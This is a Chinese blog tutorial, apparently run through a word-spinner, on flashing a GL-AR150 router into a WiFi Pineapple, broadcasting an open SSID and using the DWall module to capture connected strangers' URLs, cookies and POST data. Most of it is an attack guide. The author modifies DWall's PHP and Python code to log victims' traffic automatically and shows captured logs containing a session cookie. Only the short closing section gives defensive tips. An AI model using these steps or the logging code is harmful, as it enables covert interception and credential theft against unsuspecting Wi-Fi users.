php接口转wf若何用路由器改成WiFi Pineapple体系镜像收集流量

本文紧张先容利用自己现有的设备，如何制作和利用WiFi Pineapple镜像网络流量，利用DWall模块剖析用户数据，然后根据自己的需求，给DWall加入了日志记录功能。
末了先容了如何戒备wifi pineapple这样的网络设备。

自己打造一个WiFi pineApple：

看到很多前辈们已经做出了WiFi Pineapple NANO的rom文件，我也准备利用现有的设备，刷一个WiFi Pineapple NANO系统试试。

Openwrt：

php接口转wf若何用路由器改成WiFi Pineapple体系镜像收集流量 React

WiFi Pineapple系统是一个把openwrt重度改良过的系统，以是须要先理解一下openwrt：

OpenWrt 可以被描述为一个嵌入式的 Linux 发行版，（主流路由器固件有 dd-wrt,tomato,openwrt三类）而不是试图建立一个单一的、静态的系统。
OpenWrt的包管理供应了一个完备可写的文件系统，从运用程序供应商供应的选择和配置，并许可您自定义的设备，以适应任何运用程序。

OpenWRT是一个高度模块化、高度自动化的嵌入式Linux系统，拥有强大的网络组件和扩展性，常常被用于工控设备、电话、小型机器人、智能家居、路由器以及VOIP设备中。

\WiFi Pineapple NANO:

它不是一个大略的广播客户端，也不但是一个路由器或接入点。
WiFi Pineapple NANO是一个功能强大的无线网络审计工具，利用其独特的硬件和直不雅观的Web界面与你的渗透测试流程整合。
它适宜装在你的口袋里。
WiFi Pineapple NANO拥有一个完备重新设计的Web界面，有助于推进事情流程，增加了可用性。

按照当代的标准，新的WiFi Pineapple的Web界面更加直不雅观、快速、灵敏和熟习。
模块仍旧是一个核心功能，可无线下载社区开拓的附加组件和网络前真个盛行工具。
新的API对付履历丰富的开拓职员和新来的人是非常大略的。
新的WiFi Pineapple的Android运用程序简化了USB网络连接共享。
点击连接即时连接到俊秀友好的新的移动Web界面。
不须要Root。
在客户现场长期支配？没有问题。
将WiFi Pineapple NANO插入一个标准的USB电源适配器和用于远程掩护的基于USB调制解调器最新一代的LTE连接设备即可。

配置如下：

CPU: 400 MHz MIPS Atheros AR9331 SoC

Memory: 16 MB ROM, 64 MB DDR2 RAM

Disk: ROM + Micro SD (not included)

Wireless: Atheros AR9331 + Atheros AR9271, both IEEE 802.11 b/g/n

Ports: (2) RP-SMA Antenna, Ethernet over USB (ASIX AX88772A), USB 2.0 Host, Micro SD

Power: USB 5V 1.5A. Includes USB Y-Cable

Configurable Status Indicator LED, Configurable Reset Button

某宝的价格：RMB：318.00

结合GL-AR150的迷你路由器：

配置如下：

150Mbps high speed

16MB RAM

Stable performance

OpenWrt pre-installed

利用充电宝当电源

利用U盘来扩充容量

某宝的价格：RMB：119.00

刷机：

准备：

- 下载打包好的支持AR-150路由器的wifipineapple的rom。
AR150-wifipine固件下载 ,把稳这个固件只适宜AR-150利用，其他路由器不兼容。

- 备份现有路由器版本的ROM。

开始刷机：

以下2种方法任选一种：

- 可以利用路由器自带的升级功能进行刷机（推举利用）。

- 把rom文件上传到路由器，然后实行刷机命令，等待完成，中间不要断电。

mtd -r write /tmp/xxxx.rom firmware

刷完机后，在浏览器地址栏输入：172.16.42.1:1471后，该当可以进入大菠萝的设置页面

进入设置页面：

设置上网功能：

设置wan口为dhcp：

vim /etc/config/networkconfig interface 'wan' option ifname 'eth0' option proto 'dhcp' option dns '119.29.29.29, 8.8.8.8'

利用sd卡给设备扩容：

u盘必须是ex4格式的，须要用linux格式化u盘

config globaloption anon_swap '0'option anon_mount '0'option auto_swap '1'option auto_mount '1'option delay_root '5'option check_fs '0'config mountoption target '/sd'option device '/dev/sda1'option fstype 'auto'option options 'rw,sync'option enabled '1'

往后所有的程序就都可以安装到sd卡中了。

DWall功能：

Display’s HTTP URLs, Cookies, POST DATA, and images from browsing clients.

剖析封包的紧张目的，便是要查看别人的访问记录，和一些敏感信息；DWall这个模块已经集成了我想要的功能。

WIFI pineapple 最佳实践：

1 打开自己的wifipineApple，设置公开的SSID;

2 打开流量镜像功能，防止漏网之鱼，我插了个64G的U盘来记录该当是足够用了）

3 确认有人已经连接：

4 打开DWall模块：

5 查看用户访问过的内容；

修正源码:

DWall优点：

可以免去我们去剖析封包，而且过滤出敏感字段，省去我们的不少麻烦。

DWall缺陷:

须要一贯在这个页面不能离开,才可以看到用户从路由器上发出的要求数据。

进入ssh，用ps查看进程列表：root@gl_ar150:/sd/modules/DWall/log# ps | grep DWall ，创造实在DWall一贯在后晒台运行，只是没有在后台显示而已，那个start listen按钮只是掌握在不在后台显示；我想作者不在后台一贯显示，该当是考虑到内请安题吧；

2483 root 12092 S N /usr/bin/python /pineapple/modules/DWall/assets/DWall.py ==>开了一个9999的websocket端口,进行数据处理2484 root 3072 S N /pineapple/modules/DWall/assets/http_sniffer br-lan ===>http数据监听

DWall模块代码是开源的，我准备根据自己的需求，修正一下源码，让他可以自动记录log，这样当我不在的时候，也不至于错过一些主要的数据信息。

打开DWall/api/module.php 加入：

$time = time();====》获取到当前韶光 $date = date(\公众ymdHis\公众,$time); ====》格式化韶光为 $date = $date.\"大众.log\公众; ====》加入.log后缀名//打印日志输出到文件 $this->execBackground(\"大众/usr/bin/python /pineapple/modules/DWall/assets/DWall.py > /pineapple/modules/DWall/log/\"大众.$date);

收到封包数据后，会进入DWall/assets/WebSocketsHandler.py：

def parseData(self, data): data = data.split(\"大众|\公众, 2) dataDict = {\公众from\"大众: data[0], \公众to\"大众: data[1]} path, headers = data[2].split('\r\n', 1) payload = Message(StringIO(headers)) url = \"大众http://\公众 + payload['host'] + path.split(\公众 \公众)[1] if url.lower().endswith(('.png', '.ico', '.jpeg', '.jpg', '.gif', '.svg')): dataDict['image'] = url===》记录图片 else: dataDict['url'] = url===》记录地址 if 'cookie' in payload: dataDict['cookie'] = payload['cookie']===》记录cookie postData = data[2].split('\r\n\r\n') if len(postData) == 2: if postData[1].strip(): dataDict['post'] = postData[1]=====》post的数据print dataDict;========》

我加入了一条打印命令，用来记录日志用：

return dataDict

log文件中记录内容如下，这个大家该当都明白是什么意思：）

{'url': 'http://t.wg.360-api.cn/ap/tips/browse?mid=2ea1cddeb1140c584e2af3fdd9f70e22', 'to': 'xxx.xxx.xxx.xxx', 'from': '172.16.42.192{'url': 'http://s.360.cn/360game/stat.htm?pid=se&m=2ea1cddeb1140c584e2af3fdd9f70e22&ver=9.0.7.1033&s=loading&type=extyouxi&sever=9.1{'url': 'http://wan.360.cn/?src=se', 'to': 'xxx.xxx.xxx.xxx', 'from': 'xxx.xxx.xxx.xxx', 'cookie': '__huid=11K07bgNFwCnhAAu7BlaPTAx5Xov{'url': 'http://seupdate.360safe.com/bankmode4.ini?1842861343', 'to': '61.240.140.61', 'from': '172.16.42.192'}{'to': '42.236.102.95', 'image': 'http://p0.qhimg.com/t016d59f245a828b8e3.jpg', 'from': '172.16.42.192'}{'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t01321f78ebe6c390bf.jpg', 'from': '172.16.42.192'}{'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t01dfc19ebeec81e26f.jpg', 'from': '172.16.42.192'}{'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t01e46f85933f369ab6.jpg', 'from': '172.16.42.192'}{'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t0188118c4beb970f46.jpg', 'from': '172.16.42.192'}{'to': '120.52.32.31', 'image': 'http://p0.qhimg.com/t016d59f245a828b8e3.jpg', 'from': '172.16.42.192'}{'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t01cd2fd2aa60ffd533.jpg', 'from': '172.16.42.192'}{'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t014f83608163d71015.jpg', 'from': '172.16.42.192'}{'url': 'http://js.passport.qihucdn.com/5.0.3.js', 'to': '42.236.102.95', 'from': '172.16.42.192'}

查看log文件列表格式：

root@gl_ar150:/sd/modules/DWall/log# ls -la

drwxr-xr-x 2 root root 4096 Mar 26 19:30 .drwxr-xr-x 6 111 118 4096 Mar 23 19:11 ..-rw-r--r-- 1 root root 0 Mar 23 20:17 180323121756.log-rw-r--r-- 1 root root 1568871 Mar 26 11:29 180323121836.log-rw-r--r-- 1 root root 16384 Mar 26 19:30 180326112942.log-rw-r--r-- 1 root root 28673 Mar 26 19:31 180326113030.log

经由上面的修正往后，只要开机后点击Enable，DWall就会自动记录用户的每条访问记录，在须要时候，只须要在LOG文件中查找就可以了。

如何戒备：

如果把WiFi Pineapple比喻成一座魔窟，那么当你连接上这个WiFi后，无疑就即是进入了魔窟的大门，你的一举一动，都将会被记录和利用。
那么，有没有办法进行戒备呢？

在公共场所，少利用或不该用陌生wifi；

少登录或不登录http网站，由于目前对https网站的攻击还是比较有限的；

查看自己的内网ip地址是不是172.16.42.1的网关,如果是那么你可能就中招了；

在不熟习的网络环境操作时候，利用VPN或者SSL通道加密，这样便是截取流量，也是加密后的流量，剖析起来比较繁芜

本文由作者独家发布，转载请注明来源